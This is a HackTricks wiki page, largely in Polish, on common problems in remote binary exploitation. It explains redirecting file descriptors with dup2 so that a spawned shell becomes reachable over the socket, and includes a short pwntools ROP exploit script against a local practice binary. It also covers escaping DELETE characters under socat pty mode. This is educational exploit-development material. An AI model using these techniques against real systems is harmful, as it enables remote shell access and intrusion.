3.8 KiB
Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
FDs w Zdalnym Wykorzystaniu
Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje system('/bin/sh')
, na przykład, zostanie to wykonane w procesie serwera, a /bin/sh
będzie oczekiwał na dane wejściowe z stdin (FD: 0
) i będzie drukował wyjście w stdout i stderr (FDs 1
i 2
). Tak więc atakujący nie będzie mógł interagować z powłoką.
Sposobem na naprawienie tego jest założenie, że kiedy serwer się uruchomił, utworzył FD numer 3
(do nasłuchiwania), a następnie twoje połączenie będzie w FD numer 4
. Dlatego możliwe jest użycie syscall dup2
, aby zduplikować stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Zauważ, że socat już przesyła stdin
i stdout
do gniazda. Jednak tryb pty
zawiera znaki DELETE. Więc, jeśli wyślesz \x7f
( DELETE
-) to usunie poprzedni znak twojego exploita.
Aby to obejść, znak ucieczki \x16
musi być dodany przed każdym wysłanym \x7f
.
Tutaj możesz znaleźć przykład tego zachowania.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.